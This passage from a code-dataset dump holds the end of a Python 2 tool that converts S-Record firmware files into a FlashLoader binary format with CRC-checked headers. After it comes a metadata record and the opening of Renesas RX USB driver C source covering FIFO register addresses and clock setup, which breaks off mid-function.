1\n\n #If the user wants to change the size of the fields in the Load Image Header or Data Block\n #Header then they can do this below. There is a Python dictionary for each header below\n #with the name of the structure entry and the number of bytes associated with that entry.\n #If for instance you wanted to change the 'image_id' field to be 2 bytes you would change\n #the FL_LI_FORMAT definition below to 'image_id':2\n\n #An array for holding Load Image size format\n FL_LI_FORMAT = {'valid_mask':1, 'image_ID':1, 'version_num':1, 'load_image_size':4, 'max_block_size':4, 'image_crc':2, 'raw_crc':2, 'start_address':4, 'successfully_stored':4 }\n #Number of bytes in Load File Header\n FL_LI_STRUCT_SIZE = sum([i for i in FL_LI_FORMAT.values()])\n\n #An array for holding Block Header size format\n FL_BH_FORMAT = {'valid_mask':1, 'sequence_ID':2, 'flash_address':4, 'data_size':4, 'data_crc':2, 'next_block_address':4}\n #Number of bytes in Data Block Header\n FL_BH_STRUCT_SIZE = sum([i for i in FL_BH_FORMAT.values()]) \n\n #Other defines for Load Image Headers and Data Block Headers\n FL_BH_VALID_MASK = \"BB\"\n \n #Holds current sequence number for record\n sequence_number = 0\n\n #Initializer function for this class. It takes in parameters\n #and initialilzes class variables. It also configures the CRC\n #calculator that will be used.\n def __init__(self, input_file, output_file, max_rec_size, fill_space, header_loc, in_valid_mask):\n self.mot_filename = input_file\n self.out_filename = output_file\n self.max_block_size = max_rec_size\n self.max_fill_space = fill_space\n self.header_location = header_loc\n self.input_valid_mask = in_valid_mask\n self.header_bytes_left = self.FL_LI_STRUCT_SIZE\n self.fileheader = \"\"\n self.filesize = 0\n #Used for CRC - CCITT - x^16 + x^12 + x^5 + 1\n self.g16 = 0x11021\n self.crc_init = 0x1D0F\n #CRC used for the entire file - Image CRC\n self.file_crc = crcmod.Crc(self.g16, self.crc_init, 0)\n #CRC used for each block\n self.crc = crcmod.mkCrcFun(self.g16,self.crc_init,0) \n \n #If an error is found in the S-Record file then this function is called\n def found_error(self):\n print \"Each line in a S-Record should start with a 'S'\"\n print \"The file you input had a line that started without\"\n print \"an 'S'. Please check to make sure you have a valid\"\n print \"S-Record file.\"\n sys.exit()\n\n #This function packages up a Data Block and writes it to the output file\n def write_record(self,output_file, current_buffer, msb_start_address):\n \n #Print valid mask 0xBB\n write_str = binascii.unhexlify(self.switch_endian(self.FL_BH_VALID_MASK))\n \n #Write Sequence ID\n msb_sequence_num = (\"%0\" + str(self.FL_BH_FORMAT['sequence_ID']*2) + \"x\") % self.sequence_number\n #Switch to LSB\n lsb_sequence_num = self.switch_endian(msb_sequence_num)\n #Write 'sequence_ID' to file\n write_str += binascii.unhexlify(lsb_sequence_num)\n #increment sequence number \n self.sequence_number += 1\n \n #Print start address for block\n #Pad address if not correct number of chars\n msb_start_address = (\"0\"*((self.FL_BH_FORMAT['flash_address']*2) - len(msb_start_address))) + msb_start_address\n #Switch to LSB\n lsb_start_address = self.switch_endian(msb_start_address)\n #Write 'flash_address' field to file\n write_str += binascii.unhexlify(lsb_start_address)\n \n #Print size of data block in bytes \n msb_size_string = (\"%0\" + str(self.FL_BH_FORMAT['data_size']*2) + \"x\") % (len(current_buffer)/2)\n #Switch to LSB\n lsb_size_string = self.switch_endian(msb_size_string)\n #Write 'data_size' field to file\n write_str += binascii.unhexlify(lsb_size_string)\n \n #Print CRC of data - Using CCITT - x^16 + x^12 + x^5 + 1 \n msb_crc_out = (\"%0\" + str(self.FL_BH_FORMAT['data_crc']*2) + \"x\") % self.crc(binascii.unhexlify(current_buffer))\n #Switch to LSB\n lsb_crc_out = msb_crc_out[2:] + msb_crc_out[:2]\n #Write 'data_crc' to file\n write_str += binascii.unhexlify(lsb_crc_out)\n \n #Print empty record for MCU to fill in for 'next block header address'\n #The 'join' command below will join strings of FF together to make FFFF...\n #for however many bytes I need\n write_str += binascii.unhexlify(''.join(self.FL_BH_FORMAT['next_block_address']*['FF']))\n \n #Print data\n write_str += binascii.unhexlify(current_buffer)\n \n #Write new block to file\n output_file.write(write_str)\n \n #Update file CRC\n self.file_crc.update(write_str)\n \n #Update filesize\n self.filesize += (len(current_buffer)/2) + self.FL_BH_STRUCT_SIZE\n \n #This function handles switching MSB to LSB and vice versa\n def switch_endian(self,temp):\n #Check to see if argument is 1 byte long, if so send it back\n if(len(temp) == 1):\n return temp\n #Check to make sure length is even\n if(len(temp)%2 == 1):\n print 'Switching endian failed. Input should always have even number length'\n sys.exit()\n #Switch endian\n temp_length = len(temp)\n #Do first iteration\n temp_length = temp_length - 2\n switched = temp[temp_length:]\n while(temp_length > 0):\n #Append next byte\n switched = switched + temp[temp_length-2:temp_length]\n temp_length = temp_length - 2\n return switched\n \n #This function is called to process the S-Record file\n def Process(self):\n \n #Open input file\n try:\n mot_file = open(self.mot_filename, \"r\")\n except:\n print 'Error opening input file ' , self.mot_filename\n sys.exit()\n \n #Open a new file for output\n try:\n out_file = open(self.out_filename, \"wb\")\n except:\n print 'Error opening output file ' , self.out_filename\n sys.exit()\n \n #Write as much of the load file header as we can. We'll\n #come back and write the rest at the end.\n #Print holders for Valid Mask, Image ID, Version #, Size of Load Image\n #Using .join() to make variable length string of all F's\n out_file.write(binascii.unhexlify(''.join((self.FL_LI_FORMAT['valid_mask'] \n + self.FL_LI_FORMAT['image_ID'] \n + self.FL_LI_FORMAT['version_num'] \n + self.FL_LI_FORMAT['load_image_size'])\n *['FF'])))\n #Print max block header size\n msb_max_block_size = (\"%0\" + str(self.FL_LI_FORMAT['max_block_size']*2) + \"x\") % self.max_block_size\n #Switch to LSB\n lsb_max_block_size = self.switch_endian(msb_max_block_size)\n #Write out 'max_block_size'\n out_file.write(binascii.unhexlify(lsb_max_block_size))\n\n #Print holders for Image CRC, Raw CRC, Address in Ext Memory,\n #and Successfully Stored. Using .join() again\n out_file.write(binascii.unhexlify(''.join((self.FL_LI_FORMAT['image_crc'] \n + self.FL_LI_FORMAT['raw_crc'] \n + self.FL_LI_FORMAT['start_address']\n + self.FL_LI_FORMAT['successfully_stored'])\n *['FF'])))\n \n #Process each line in the file\n prev_address = 0\n address = 0\n num_bytes = 0\n start_address = \"\"\n cur_buffer = \"\"\n prev_num_bytes = 0\n cur_num_bytes = 0\n for line in mot_file:\n #Test to see if each line starts with 'S'\n if line.startswith('S') == False:\n self.found_error() \n \n #Get address for this line\n #S3 means 4-byte address\n if line.startswith('S3') == True: \n address_start_byte = 4\n data_start_byte = 12\n address_size_bytes = 4\n #S2 means 3-byte address\n elif line.startswith('S2') == True: \n address_start_byte = 4\n data_start_byte = 10\n address_size_bytes = 3\n #S1 means 2-byte address\n elif line.startswith('S1') == True: \n address_start_byte = 4\n data_start_byte = 8\n address_size_bytes = 2\n #You can add more elif statements here for handling other\n #S-Records. There are S0-S9. I only handle the ones I need\n else:\n continue\n \n #Read the address for this S-Record line\n address = int(line[address_start_byte:data_start_byte],16)\n \n #Get number of bytes on the line\n cur_num_bytes = int(line[2:address_start_byte],16)\n \n #Get number of bytes between this record and last (0 means they are sequential)\n bytes_between = address - prev_address - prev_num_bytes + (address_size_bytes + self.CHECKSUM_BYTES)\n \n #Get file header if this is the place for it\n if address <= self.header_location and self.header_location < (address + cur_num_bytes - address_size_bytes - self.CHECKSUM_BYTES):\n #All or part of the file header is in this buffer\n \n #How far into buffer does the file header start\n offset_in_buffer = self.header_location - address\n \n #How many bytes are left after the start of the file load header in buffer\n buffer_bytes_left = (address + cur_num_bytes - address_size_bytes - self.CHECKSUM_BYTES) - self.header_location\n \n if buffer_bytes_left >= self.header_bytes_left:\n #We can get the whole (or rest) of the file header now\n self.fileheader += line[data_start_byte+(offset_in_buffer*2):data_start_byte+(offset_in_buffer*2)+(self.header_bytes_left*2)]\n \n self.header_bytes_left = 0\n else:\n #We can only get part of the file header this time\n self.fileheader += line[data_start_byte+(offset_in_buffer*2):data_start_byte+(offset_in_buffer*2)+(buffer_bytes_left*2)]\n \n self.header_bytes_left -= buffer_bytes_left\n self.header_location += buffer_bytes_left\n \n #Check if first line of file\n if len(cur_buffer) == 0:\n cur_buffer += line[data_start_byte:len(line)-((self.CHECKSUM_BYTES*2)+1)]\n #Get start address\n start_address = line[address_start_byte:data_start_byte]\n #Check to see if address is sequential or within max_fill_space\n elif bytes_between <= self.max_fill_space and (len(cur_buffer)/2) + bytes_between + 1 < self.max_block_size:\n #Add 0xFF's in empty space to join S-Records that are not sequential\n if(bytes_between > 0):\n while(bytes_between > 0):\n cur_buffer += 'FF'\n bytes_between -= 1\n #Check to see if adding this record will go over the max Data size, if so split it\n if((len(cur_buffer)/2) + cur_num_bytes - address_size_bytes - self.CHECKSUM_BYTES > self.max_block_size):\n num_bytes_left = self.max_block_size - (len(cur_buffer)/2)\n #Multiple num_bytes_left by 2 since data is in ASCII hex\n cur_buffer += line[data_start_byte:data_start_byte + (2*num_bytes_left)]\n #Output previous record\n self.write_record(out_file, cur_buffer, start_address)\n #Start new record header\n cur_buffer = line[data_start_byte + (2*num_bytes_left):len(line)-((self.CHECKSUM_BYTES*2)+1)]\n #Get new start address\n if(address_size_bytes == 4):\n start_address = \"%08x\" % (address + num_bytes_left)\n elif(address_size_bytes == 3):\n start_address = \"%06x\" % (address + num_bytes_left)\n else:\n start_address = \"%04x\" % (address + num_bytes_left)\n else:\n cur_buffer += line[data_start_byte:len(line)-((self.CHECKSUM_BYTES*2)+1)]\n #If not sequential, and not first line, then this is new block\n else:\n #Useful debug printout\n #Print 'new record ' + hex(address) + ' difference is ' + str(address - prev_address - prev_num_bytes + (address_size_bytes + self.CHECKSUM_BYTES))\n\n #Output previous record\n self.write_record(out_file, cur_buffer, start_address) \n \n #Start new record header\n cur_buffer = line[data_start_byte:len(line)-((self.CHECKSUM_BYTES*2)+1)]\n #Get new start address\n start_address = line[address_start_byte:data_start_byte]\n \n #Update for next line\n prev_num_bytes = cur_num_bytes\n \n #Update previous address so you can check if next S-Record is sequential\n prev_address = address\n \n #Output last buffer, if there is one\n if(len(cur_buffer) > 0):\n #output previous record\n self.write_record(out_file, cur_buffer, start_address)\n \n #Check to make sure LoadFileHeader was found\n if self.header_bytes_left > 0:\n print 'Error - The Load Image Header was not found for this application.'\n print 'Look at structure of Load Image Header for what is supposed to be found'\n sys.exit()\n else:\n #Process file header and write to file\n self.ProcessHeader(out_file) \n \n #Close output file\n out_file.close()\n \n print \"S-Record file converted successfully.\"\n print \"Output file is \" + self.out_filename\n print \"Size of entire Load Image is \" + str(self.filesize) + \" bytes\"\n\n #Not all of the information for the Load Image Header is known when we first start processing\n #the file. This function is called after the file is processed so that we know all the \n #information we need (image_ID, version_num, file_crc)\n def ProcessHeader(self, output_file):\n #This is used to 'define a structure' so that we can take the data and split it\n #into its individual parts easily. This would be similar to having a structure pointer\n #in C and pointing it to a block of memory that you knew represented a structure. The\n #entries in this string need to be in the same exact order as you have in the \n #C structure. For instance 'valid_mask' is the first entry and 'image_ID' is the 2nd.\n FL_Struct_LI = 'valid_mask image_ID version_num load_image_size max_block_size image_crc raw_crc start_address successfully_stored'\n\n #This builds the format string needed. B = byte, H = 2 bytes, L = 4 bytes per entry.\n #Output will produce something like this '<BBBLLHHLL'\n FL_LI_FORMAT_STRING = \"<\"\n for entry in FL_Struct_LI.split(' '):\n if self.FL_LI_FORMAT[entry] == 1:\n FL_LI_FORMAT_STRING += 'B'\n elif self.FL_LI_FORMAT[entry] == 2:\n FL_LI_FORMAT_STRING += 'H'\n elif self.FL_LI_FORMAT[entry] == 4:\n FL_LI_FORMAT_STRING += 'L'\n else:\n print 'Error - This code only supports even sized structure objects for Load Image Headers and Data Block Headers';\n sys.exit() \n\n #Use string to define entries in structure\n LoadImageHeader = namedtuple('LoadImageHeader', FL_Struct_LI)\n #Use structure to get values from the data 'blob'\n my_header = LoadImageHeader._make(unpack(FL_LI_FORMAT_STRING,binascii.unhexlify(self.fileheader)))\n\n #Check Valid Mask to make sure this is actually a valid header\n if my_header.valid_mask != self.input_valid_mask:\n print 'Error - Valid mask in Application Header did not match the value it was supposed to be.'\n print 'Expected Value = ' + hex(self.input_valid_mask) + \" Actual Value = \" + hex(my_header.valid_mask)\n sys.exit()\n \n #Go back and write the Load File Header\n output_file.seek(0)\n #Write valid mask\n output_file.write(binascii.unhexlify(self.switch_endian((\"%0\" + str(self.FL_LI_FORMAT['valid_mask']*2) + \"x\") % my_header.valid_mask)))\n #Write Image ID\n output_file.write(binascii.unhexlify(self.switch_endian((\"%0\" + str(self.FL_LI_FORMAT['image_ID']*2) + \"x\") % my_header.image_ID)))\n #Write Version Number\n output_file.write(binascii.unhexlify(self.switch_endian((\"%0\" + str(self.FL_LI_FORMAT['version_num']*2) + \"x\") % my_header.version_num)))\n\n #We need to switch the endian on these next entries because they are MSB on the PC\n #Add LoadImageHeader size to filesize \n self.filesize += self.FL_LI_STRUCT_SIZE\n output_file.write(binascii.unhexlify(self.switch_endian((\"%0\" + str(self.FL_LI_FORMAT['load_image_size']*2) + \"x\") % self.filesize)))\n \n #Write Max Block Size\n output_file.write(binascii.unhexlify(self.switch_endian((\"%0\" + str(self.FL_LI_FORMAT['max_block_size']*2) + \"x\") % self.max_block_size)))\n \n #Write Image CRC\n output_file.write(binascii.unhexlify(self.switch_endian((\"%0\" + str(self.FL_LI_FORMAT['image_crc']*2) + \"x\") % self.file_crc.crcValue)))\n \n #Write raw CRC\n output_file.write(binascii.unhexlify(self.switch_endian((\"%0\" + str(self.FL_LI_FORMAT['raw_crc']*2) + \"x\") % my_header.raw_crc)))\n\nif __name__ == '__main__':\n from optparse import OptionParser\n \n parser = OptionParser(\n description = \"FlashLoader S-Record Converter\"\n )\n \n parser.add_option(\"-i\", \"--input\",\n dest=\"mot_filename\",\n action=\"store\",\n help=\"The path to the file you want to convert.\",\n default = \"\",\n metavar=\"FILE\"\n )\n \n parser.add_option(\"-o\", \"--output\",\n dest=\"out_filename\",\n action=\"store\",\n help=\"Name of the output file.\",\n default = \"\",\n metavar=\"OUTPUT\"\n )\n \n parser.add_option(\"-d\", \"--data_size\",\n dest=\"max_block_size\",\n action=\"store\",\n type='int',\n help=\"Set max size in bytes for Data section in record [default=2048]\",\n default = 2048,\n metavar=\"MAXBLOCKSIZE\"\n )\n \n parser.add_option(\"-f\", \"--fill_space\",\n dest=\"max_fill_space\",\n action=\"store\",\n type='int',\n help=\"Max bytes between 2 records to fill with 0xFF's and join data [default=64]\",\n default = 64,\n metavar=\"FILLSPACE\"\n )\n \n parser.add_option(\"-l\", \"--location\",\n dest=\"header_location\",\n action=\"store\",\n type='int',\n help=\"Flash location for application load file header [default=0xFFFFFE00]\",\n default=0xFFFFFE00,\n metavar=\"HEADERLOC\"\n )\n \n parser.add_option(\"--formatting\",\n dest=\"want_formatting\",\n action=\"store_true\",\n help=\"Displays information on how the binary file is structured.\",\n default=False\n )\n\n parser.add_option(\"-m\", \"--mask\",\n dest=\"input_valid_mask\",\n action=\"store\",\n type='int',\n help=\"Set the value you used for the valid mask [default=0xAA]\",\n default=0xAA,\n metavar=\"VALIDMASK\"\n )\n\n if len(sys.argv) == 1:\n parser.print_help()\n sys.exit()\n else:\n (options, args) = parser.parse_args()\n\n if options.want_formatting == True:\n #Give information on file structure\n print 'The format of the output binary file is: 1 Load File Header followed by n Blocks.'\n print 'n is the number of Blocks needed to represent S-Record file.'\n print ''\n print 'Structure of a Load File Header:'\n print '| Valid Mask | ' + str(FL_MOT_Converter.FL_LI_FORMAT['valid_mask']) + ' Byte(s) | Always 0x' + options.input_valid_mask + ', marks valid Load File Header'\n print '| Image ID | ' + str(FL_MOT_Converter.FL_LI_FORMAT['image_ID']) + ' Byte(s) | Identifies application'\n print '| Version # | ' + str(FL_MOT_Converter.FL_LI_FORMAT['version_num']) + ' Byte(s) | Identifies version of application'\n print '| Size of Load Image | ' + str(FL_MOT_Converter.FL_LI_FORMAT['load_image_size']) + ' Byte(s) | Size of image as in external memory'\n print '| Max Block Size | ' + str(FL_MOT_Converter.FL_LI_FORMAT['max_block_size']) + ' Byte(s) | Max size of block'\n print '| Image CRC | ' + str(FL_MOT_Converter.FL_LI_FORMAT['image_crc']) + ' Byte(s) | CRC of data as in ext memory, CCITT'\n print '| Raw CRC | ' + str(FL_MOT_Converter.FL_LI_FORMAT['raw_crc']) + ' Byte(s) | CRC of image as in MCU flash, CCITT'\n print '| 1st Block Header Addr | ' + str(FL_MOT_Converter.FL_LI_FORMAT['start_address']) + ' Byte(s) | Location of first block header in ext memory'\n print '| Successfully Stored | ' + str(FL_MOT_Converter.FL_LI_FORMAT['successfully_stored']) + ' Byte(s) | Identifies successfully downloaded image (written by MCU)'\n print ''\n print 'Structure of a Block Header:'\n print '| Valid Mask | ' + str(FL_MOT_Converter.FL_BH_FORMAT['valid_mask']) + ' Byte(s) | Always 0x' + FL_MOT_Converter.FL_BH_VALID_MASK + ', marks new block header'\n print '| Sequence ID | ' + str(FL_MOT_Converter.FL_BH_FORMAT['sequence_ID']) + ' Byte(s) | Identifier for this block'\n print '| Flash Address | ' + str(FL_MOT_Converter.FL_BH_FORMAT['flash_address']) + ' Byte(s) | The starting address for the data'\n print '| Size of Data | ' + str(FL_MOT_Converter.FL_BH_FORMAT['data_size']) + ' Byte(s) | Number of bytes of Data'\n print '| CRC-16 | ' + str(FL_MOT_Converter.FL_BH_FORMAT['data_crc']) + ' Byte(s) | CRC of Data, CCITT - x^16 + x^12 + x^5 + 1'\n print '| Next Header Address | ' + str(FL_MOT_Converter.FL_BH_FORMAT['next_block_address']) + ' Byte(s) | Address of next block header in external memory'\n print '| Data | 0-4 GBytes | Data'\n print ''\n print 'NOTE: All binary data is stored LSB'\n print ''\n \n \n if len(options.mot_filename) == 0:\n #No input file\n print 'Error - No input file!'\n parser.print_help()\n sys.exit()\n \n if len(options.out_filename) == 0:\n #No output file was given, use modified input filename\n #This fuction will give path without extension in 'start' (and extension) in 'ext'\n start, ext = os.path.splitext(options.mot_filename)\n #Add some other extension\n options.out_filename = start + \".bch\"\n \n fl_m = FL_MOT_Converter(options.mot_filename, options.out_filename, options.max_block_size, options.max_fill_space, options.header_location, options.input_valid_mask)\n \n fl_m.Process()\n \n \n" }, { "alpha_fraction": 0.4766634702682495, "alphanum_fraction": 0.4962182939052582, "avg_line_length": 36.50358963012695, "blob_id": "a636d3c128c49de7a7a65e3076dd8b6cae969371", "content_id": "aff61280d3fd6f67db7839dd60032cbe8785d3eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 41780, "license_type": "no_license", "max_line_length": 120, "num_lines": 1114, "path": "/r_usb_basic/src/HW/comm/r_usb_creg_abs.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_creg_abs.c\n* Description : Call USB register access function\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n\n/******************************************************************************\nConstant macro definitions\n******************************************************************************/\n/* Condition compilation by the difference of the endian */\n#if USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP\n #define USB_FIFOENDIAN USB_FIFO_LITTLE\n#else /* USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP */\n #define USB_FIFOENDIAN USB_FIFO_BIG\n#endif /* USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP */\n\n#define USB_BUFSIZE_BIT 10\n\n/******************************************************************************\nStatic variables and functions\n******************************************************************************/\n#ifdef USB_DTC_ENABLE\nstatic void usb_cstd_D0FifoselSet(USB_UTR_t *ptr);\n#endif /* USB_DTC_ENABLE */\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\nuint16_t usb_gcstd_RhstBit;\nuint16_t usb_gcstd_DvsqBit;\nuint16_t usb_gcstd_AddrBit;\nuint16_t usb_gcstd_SqmonBit;\n\n/******************************************************************************\nFunction Name : usb_cstd_GetUsbIpAdr\nDescription : Get base address of the selected USB channel's peripheral \n : registers.\nArgument : uint16_t ipnum : USB_USBIP_0 (0), or USB_USBIP_1 (1).\nReturn : USB_REGADR_t : A pointer to the USB_597IP register \n : structure USB_REGISTER containing all USB\n : channel's registers.\n******************************************************************************/\nUSB_REGADR_t usb_cstd_GetUsbIpAdr( uint16_t ipnum )\n{\n USB_REGADR_t ptr;\n\n if( ipnum == USB_USBIP_0 )\n {\n ptr = (USB_REGADR_t)&USB0;\n }\n else if( ipnum == USB_USBIP_1 )\n {\n#if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M)\n ptr = (USB_REGADR_t)&USBA;\n#else\n ptr = (USB_REGADR_t)&USB1;\n#endif /* defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M) */\n }\n else\n {\n USB_DEBUG_HOOK( USB_DEBUG_HOOK_STD | USB_DEBUG_HOOK_CODE1 );\n }\n\n return ptr;\n} /* eof usb_cstd_GetUsbIpAdr() */\n\n#if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M)\n/******************************************************************************\nFunction Name : usb_cstd_GetD0fifo32Adr\nDescription : Get 16 bits of used channel's D0FIFO register content.\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\nReturn : Address of D0FIFO\n******************************************************************************/\nuint32_t usb_cstd_GetD0fifo32Adr( USB_UTR_t *ptr )\n{\n if(ptr->ip == USB_USBIP_0)\n {\n return (uint32_t)0;\n }\n else if(ptr->ip == USB_USBIP_1)\n {\n return (uint32_t)(&ptr->ipp1->D0FIFO.LONG);\n }\n\n return (uint32_t)0;\n}/* eof usb_cstd_GetD0fifo32Adr() */\n#endif /* defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M) */\n/******************************************************************************\nFunction Name : usb_cstd_GetD0fifo16Adr\nDescription : Get 16 bits of used channel's D0FIFO register content.\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\nReturn : Address of D0FIFO\n******************************************************************************/\nuint32_t usb_cstd_GetD0fifo16Adr( USB_UTR_t *ptr )\n{\n#if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M)\n if(ptr->ip == USB_USBIP_0)\n {\n return (uint32_t)(&ptr->ipp->D0FIFO.WORD);\n }\n else if(ptr->ip == USB_USBIP_1)\n {\n#if USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP\n return (uint32_t)(&ptr->ipp1->D0FIFO.WORD.H);\n\n#else\n return (uint32_t)(&ptr->ipp1->D0FIFO.WORD.L);\n#endif /* USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP */\n }\n\n return 0;\n#else\n return (uint32_t)(&ptr->ipp->D0FIFO.WORD);\n#endif /* defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M) */\n}/* eof usb_cstd_GetD0fifo16Adr() */\n\n/******************************************************************************\nFunction Name : usb_cstd_GetD0fifo8Adr\nDescription : Get 8 bits of used channel's D0FIFO register content.\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\nReturn : Address of D0FIFO\n******************************************************************************/\nuint32_t usb_cstd_GetD0fifo8Adr( USB_UTR_t *ptr )\n{\n#if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M)\n if(ptr->ip == USB_USBIP_0)\n {\n return (uint32_t)(&ptr->ipp->D0FIFO.BYTE.L);\n }\n else if(ptr->ip == USB_USBIP_1)\n {\n#if USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP\n return (uint32_t)(&ptr->ipp1->D0FIFO.BYTE.HH);\n#else\n return (uint32_t)(&ptr->ipp1->D0FIFO.BYTE.LL);\n#endif /* USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP */\n }\n\n return 0;\n#else\n return (uint32_t)(&ptr->ipp->D0FIFO.BYTE.L);\n#endif /* defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M) */\n}/* eof usb_cstd_GetD0fifo8Adr() */\n\n/******************************************************************************\nFunction Name : usb_cstd_AsspConfig\nDescription : Not processed as the functionality is provided by R8A66597(ASSP).\nArguments : not used\nReturn value : -\n******************************************************************************/\nvoid usb_cstd_AsspConfig(USB_UTR_t *ptr)\n{\n}/* eof usb_cstd_AsspConfig() */\n\n/******************************************************************************\nFunction Name : usb_cstd_Pinconfig\nDescription : Set FIFO select register. This will assign a pipe to the FIFOs, \n : and control how FIFOs are accessed.\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\nReturn value : -\n******************************************************************************/\nvoid usb_cstd_Pinconfig(USB_UTR_t *ptr)\n{\n#if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M)\n if(ptr->ip == USB_USBIP_0)\n {\n /* CFIFO Port Select Register (0x20) */\n usb_creg_write_fifosel( ptr, USB_CUSE, USB0_CFIFO_MBW );\n /* D0FIFO Port Select Register (0x28) */\n usb_creg_write_fifosel( ptr, USB_D0USE, USB0_D0FIFO_MBW );\n /* D1FIFO Port Select Register (0x2C) */\n usb_creg_write_fifosel( ptr, USB_D1USE, USB0_D1FIFO_MBW );\n }\n else if(ptr->ip == USB_USBIP_1)\n {\n /* CFIFO Port Select Register (0x20) */\n usb_creg_write_fifosel( ptr, USB_CUSE, USB1_CFIFO_MBW );\n /* D0FIFO Port Select Register (0x28) */\n usb_creg_write_fifosel( ptr, USB_D0USE, USB1_D0FIFO_MBW );\n /* D1FIFO Port Select Register (0x2C) */\n usb_creg_write_fifosel( ptr, USB_D1USE, USB1_D1FIFO_MBW );\n }\n /* setting ENDIAN for CFIFOSEL */\n usb_creg_set_bigend( ptr, USB_CUSE, USB_FIFOENDIAN );\n /* setting ENDIAN for D0FIFOSEL */\n usb_creg_set_bigend( ptr, USB_D0USE, USB_FIFOENDIAN );\n /* setting ENDIAN for D1FIFOSEL */\n usb_creg_set_bigend( ptr, USB_D1USE, USB_FIFOENDIAN );\n#else\n /* CFIFO Port Select Register (0x20) */\n usb_creg_write_fifosel( ptr, USB_CUSE, USB0_CFIFO_MBW );\n /* D0FIFO Port Select Register (0x28) */\n usb_creg_write_fifosel( ptr, USB_D0USE, USB0_D0FIFO_MBW );\n /* D1FIFO Port Select Register (0x2C) */\n usb_creg_write_fifosel( ptr, USB_D1USE, USB0_D1FIFO_MBW );\n#endif /* defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M) */\n} /* eof usb_cstd_Pinconfig() */\n\n/******************************************************************************\nFunction Name : usb_cstd_InitialClock\nDescription : Enable USB module clock. Resets and starts peripheral.\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_InitialClock(USB_UTR_t *ptr)\n{\n#if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M)\n if (ptr -> ip == USB_USBIP_0)\n {\n usb_creg_set_scke( ptr );\n }\n else if (ptr -> ip == USB_USBIP_1)\n {\n\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\n usb_creg_clr_hseb( ptr );\n usb_creg_write_repsel( ptr );\n#endif /* defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M) */\n\n usb_creg_write_clksel( ptr );\n usb_creg_clr_pllreset( ptr );\n usb_creg_clr_dirpd( ptr );\n usb_creg_set_suspendm( ptr );\n\n while(!(ptr-> ipp1->PLLSTA.BIT.PLLLOCK));\n }\n else{\n }\n#else\n usb_creg_set_scke( ptr );\n#endif /* defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M) */\n\n}/* eof usb_cstd_InitialClock() */\n\n/******************************************************************************\nFunction Name : usb_cstd_InterruptClock\nDescription : Not processed as the functionality is provided by R8A66597(ASSP).\nArguments : USB_UTR_t *ptr : Not used\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_InterruptClock(USB_UTR_t *ptr)\n{\n}/* eof usb_cstd_InterruptClock() */\n\n/******************************************************************************\nFunction Name : usb_cstd_SelfClock\nDescription : Not processed as the functionality is provided by R8A66597(ASSP).\nArguments : USB_UTR_t *ptr : Not used\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_SelfClock(USB_UTR_t *ptr)\n{\n}/* eof usb_cstd_SelfClock() */\n\n/******************************************************************************\nFunction Name : usb_cstd_StopClock\nDescription : Not processed as the functionality is provided by R8A66597(ASSP).\nArguments : USB_UTR_t *ptr : Not used\nReturn value : none\n******************************************************************************/\nvoid 